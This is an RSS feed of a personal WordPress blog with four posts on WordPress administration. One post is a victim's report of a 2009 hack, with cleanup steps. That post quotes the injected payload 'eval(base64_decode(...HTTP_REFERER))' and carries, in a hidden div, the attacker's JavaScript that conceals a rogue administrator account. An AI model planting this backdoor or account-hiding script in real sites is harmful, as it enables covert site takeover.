<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>blog.watashii &#187; WordPress</title>
	<atom:link href="http://blog.watashii.com/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.watashii.com</link>
	<description></description>
	<lastBuildDate>Wed, 02 Nov 2011 02:23:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>WordPress Code At The End Of URLs, Hack?</title>
		<link>http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/</link>
		<comments>http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 14:06:53 +0000</pubDate>
		<dc:creator>watashii</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[url]]></category>

		<guid isPermaLink="false">http://blog.watashii.com/?p=232</guid>
		<description><![CDATA[http://blog.watashii.com/2009/09/05/wordpress-code-at-the-end-of-urls-hack/%&#38;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D&#124;.+)&#38;%/ Possibly a new WordPress hack happening at the moment?  Just got this weird code appended at the end of every URL on my WordPress blog.  This is due to the Permalink Settings being changed to a custom one.  To revert it back, simply go to your [Dashboard &#62; Settings &#62; Permalink], and revert the [...]


Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/' rel='bookmark' title='Permanent Link: WordPress Syntax Highlighter'>WordPress Syntax Highlighter</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-medium wp-image-233" title="permalink" src="http://blog.watashii.com/wp-content/uploads/2009/09/permalink.png" alt="permalink" width="449" height="279" /></p>
<pre><code>http://blog.watashii.com/2009/09/05/wordpress-code-at-the-end-of-urls-hack/<strong>%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%</strong>/</code></pre>
<p>Possibly a new WordPress hack happening at the moment?  Just got this weird code appended at the end of every URL on my WordPress blog.  This is due to the <em>Permalink Settings</em> being changed to a custom one.  To revert it back, simply go to your <em>[Dashboard &gt; Settings &gt; Permalink]</em>, and revert the <em>Custom Structure</em> back to your original default option.</p>
<p>I&#8217;ve also noticed there is a few more users (a new Administrator and a bunch of Subscribers) being added by this hack <em>[Dashboard &gt; Users].</em> You may also notice the new administrator user is <strong>hidden from display</strong>.  What I did was to view the page source to pull their User ID.  Then edit this user to demote it to a subscriber (http://your_blog_url/wp-admin/user-edit.php?user_id=XXX), and rename their javascripted first name.  Thereafter deleted these extra subscribers.</p>
<p>Also I upgraded to the latest version WP 2.8.4 from 2.7.</p>
<p>Follow discussion <a href="http://wordpress.org/support/topic/307660" target="_blank">here</a>.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8230;         &lt;div id=&#8221;user_superuser&#8221;&gt;&lt;script language=&#8221;JavaScript&#8221;&gt; var setUserName = function(){     try{         var t=document.getElementById(&#8220;user_superuser&#8221;);         while(t.nodeName!=&#8221;TR&#8221;){             t=t.parentNode;         };         t.parentNode.removeChild(t);         var tags = document.getElementsByTagName(&#8220;H3&#8243;);         var s = &#8221; shown below&#8221;;         for (var i = 0; i &lt; tags.length; i++) {             var t=tags[i].innerHTML;             var h=tags[i];             if(t.indexOf(s)&gt;0){                 s =(parseInt(t)-1)+s;                 h.removeChild(h.firstChild);                 t = document.createTextNode(s);                 h.appendChild(t);             }         }         var arr=document.getElementsByTagName(&#8220;ul&#8221;);         for(var i in arr) if(arr[i].className==&#8221;subsubsub&#8221;){             var n=/&gt;Administrator ((d+))&lt;/gi.exec(arr[i].innerHTML);             if(n[1]&gt;0){                 var txt=arr[i].innerHTML.replace(/&gt;Administrator ((d+))&lt;/gi,&#8221;&gt;Administrator (&#8220;+(n[1]-1)+&#8221;)&lt;&#8221;);         arr[i].innerHTML=txt;         }     }           }catch(e){};      };      addLoadEvent(setUserName); &lt;/script&gt;&lt;/div&gt;</div>


<p>Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/' rel='bookmark' title='Permanent Link: WordPress Syntax Highlighter'>WordPress Syntax Highlighter</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Display WordPress Unicoded Characters</title>
		<link>http://blog.watashii.com/2008/12/display-wordpress-unicoded-characters/</link>
		<comments>http://blog.watashii.com/2008/12/display-wordpress-unicoded-characters/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 10:01:14 +0000</pubDate>
		<dc:creator>watashii</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[unicode]]></category>

		<guid isPermaLink="false">http://blog.watashii.com/?p=132</guid>
		<description><![CDATA[Recently upgraded my WP blog, and released some japanese/chinese characters (in Unicode) were displaying strangely, giving me question marks (????) and funny symbols (ãƒˆãƒˆãƒ). I learnt that this can be fixed by modifying the WP source file wp-config.php on the web server.  The change required is simply commenting the following 2 lines of code,  by [...]


Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/' rel='bookmark' title='Permanent Link: WordPress Code At The End Of URLs, Hack?'>WordPress Code At The End Of URLs, Hack?</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Recently upgraded my WP blog, and released some japanese/chinese characters (in Unicode) were displaying strangely, giving me question marks (????) and funny symbols (ãƒˆãƒˆãƒ).</p>
<p>I learnt that this can be fixed by modifying the WP source file <em>wp-config.php</em> on the web server.  The change required is simply commenting the following 2 lines of code,  by adding a // in front of:</p>
<pre><code>/** Database Charset to use in creating database tables. */
<strong>//</strong>define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
<strong>//</strong>define('DB_COLLATE', '');
</code></pre>


<p>Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/' rel='bookmark' title='Permanent Link: WordPress Code At The End Of URLs, Hack?'>WordPress Code At The End Of URLs, Hack?</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://blog.watashii.com/2008/12/display-wordpress-unicoded-characters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upgrading to WordPress 2.7 Coltrane</title>
		<link>http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/</link>
		<comments>http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 02:46:44 +0000</pubDate>
		<dc:creator>watashii</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[coltrane]]></category>

		<guid isPermaLink="false">http://blog.watashii.com/?p=119</guid>
		<description><![CDATA[I have just gone through the tedious task of upgrading my WP from 2.5 to 2.7.  What i&#8217;m looking forward to this is the WP Upgrader feature which I can upgrade WP directly via the Admin panel.  This means I don&#8217;t need to manually move files in/out of my linux web server in the future.  [...]


Related Posts:<ol><li><a href='http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/' rel='bookmark' title='Permanent Link: WordPress Syntax Highlighter'>WordPress Syntax Highlighter</a></li>
<li><a href='http://blog.watashii.com/2008/12/display-wordpress-unicoded-characters/' rel='bookmark' title='Permanent Link: Display WordPress Unicoded Characters'>Display WordPress Unicoded Characters</a></li>
<li><a href='http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/' rel='bookmark' title='Permanent Link: WordPress Code At The End Of URLs, Hack?'>WordPress Code At The End Of URLs, Hack?</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-121" title="wp27" src="http://blog.watashii.com/wp-content/uploads/2008/12/wp27.png" alt="wp27" width="437" height="276" /></p>
<p>I have just gone through the tedious task of upgrading my WP from 2.5 to <a href="http://wordpress.org/development/2008/12/coltrane/" target="_blank">2.7</a>.  What i&#8217;m looking forward to this is the <a href="http://codex.wordpress.org/Version_2.7#WordPress_Upgrader" target="_blank">WP Upgrader</a> feature which I can upgrade WP directly via the Admin panel.  This means I don&#8217;t need to manually move files in/out of my linux web server in the future.  Of course i have to manually put 2.7 in the first place to do that!</p>
<p>Upgrade document is available <a href="http://codex.wordpress.org/Upgrading_WordPress" target="_blank">here</a>, below are my steps.</p>
<p><strong>1)</strong> Backup all my file contents on web server.</p>
<pre><code>tar -cvf - $WEBHOME/blog_dir | gzip -9 $WEBHOME/backup_dir/my_blog.tar.gz</code></pre>
<p><strong>2)</strong> Backup the mysql database.  I used <a href="http://lesterchan.net/portfolio/programming/php/" target="_blank">WP-DBManager plugin</a> to help me do this. A single click and that&#8217;s it!</p>
<p><strong>3)</strong> Deactivated all the plugins via admin panel.</p>
<p><strong>4) </strong>Delete <em>wp-admin</em> and <em>wp-includes</em> directories on web server.</p>
<pre><code>rm -rf  $WEBHOME/blog_dir/wp-admin  $WEBHOME/blog_dir/wp-includes</code></pre>
<p><strong>5) </strong>Download the <a href="http://wordpress.org/download/" target="_blank">new WP</a> and place/replace all the files on web server.</p>
<p><strong>6)</strong> Login to the admin panel and accept the database upgrade changes.</p>
<p><strong>7) </strong>Activate the required plugins.  If using the <a href="http://wordpress.org/extend/plugins/stats/" target="_blank">WordPress.com Stats</a> plugin, I had to &#8216;transfer&#8217; my old site stats to a new site, even though its the same site.</p>
<p><span id="more-119"></span>Here is a demo of 2.7 in action:</p>
<p><object width="400" height="224" data="http://v.wordpress.com/hFr8Nyar" type="application/x-shockwave-flash"><param name="src" value="http://v.wordpress.com/hFr8Nyar" /><param name="allowfullscreen" value="true" /></object></p>


<p>Related Posts:<ol><li><a href='http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/' rel='bookmark' title='Permanent Link: WordPress Syntax Highlighter'>WordPress Syntax Highlighter</a></li>
<li><a href='http://blog.watashii.com/2008/12/display-wordpress-unicoded-characters/' rel='bookmark' title='Permanent Link: Display WordPress Unicoded Characters'>Display WordPress Unicoded Characters</a></li>
<li><a href='http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/' rel='bookmark' title='Permanent Link: WordPress Code At The End Of URLs, Hack?'>WordPress Code At The End Of URLs, Hack?</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Syntax Highlighter</title>
		<link>http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/</link>
		<comments>http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 14:45:58 +0000</pubDate>
		<dc:creator>watashii</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[form]]></category>
		<category><![CDATA[highlight]]></category>
		<category><![CDATA[highlighter]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[syntax]]></category>

		<guid isPermaLink="false">http://blog.watashii.com/?p=21</guid>
		<description><![CDATA[While trying to find a way to syntax highlighting / autoformat programming code on WordPress, I came across this.  After a while, I realised it only works for WordPress hosted page.  To enable syntax highlighting on a self hosted WordPress blog,  you need to install the Google Syntax Highlighter plugin. Here are the installation steps: [...]


Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/' rel='bookmark' title='Permanent Link: WordPress Code At The End Of URLs, Hack?'>WordPress Code At The End Of URLs, Hack?</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>While trying to find a way to syntax highlighting / autoformat programming code on WordPress, I came across <a href="http://faq.wordpress.com/2007/09/03/how-do-i-post-source-code/">this</a>.  After a while, I realised it only works for WordPress hosted page.  To enable syntax highlighting on a self hosted WordPress blog,  you need to install the <a href="http://wordpress.org/extend/plugins/google-syntax-highlighter/installation/">Google Syntax Highlighter plugin</a>.</p>
<p>Here are the installation steps:</p>
<p>1) Download the plugin zip file.<br />
2) Extract plugin into /wp-content/plugins directory.<br />
3) Activate the plugin.<br />
4) When posting, use the HTML editor and insert the following code:<br />
<code>&lt;pre name="code" class="sql"&gt;<br />
select * from tab;<br />
&lt;/pre&gt;<br />
</code><br />
5) Hopefully looks like:</p>
<pre name="code" class="sql">select * from tab;</pre>
<p>The google documentation for using the syntax highligher is available <a href="http://code.google.com/p/syntaxhighlighter/">here</a>.</p>


<p>Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/' rel='bookmark' title='Permanent Link: WordPress Code At The End Of URLs, Hack?'>WordPress Code At The End Of URLs, Hack?</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

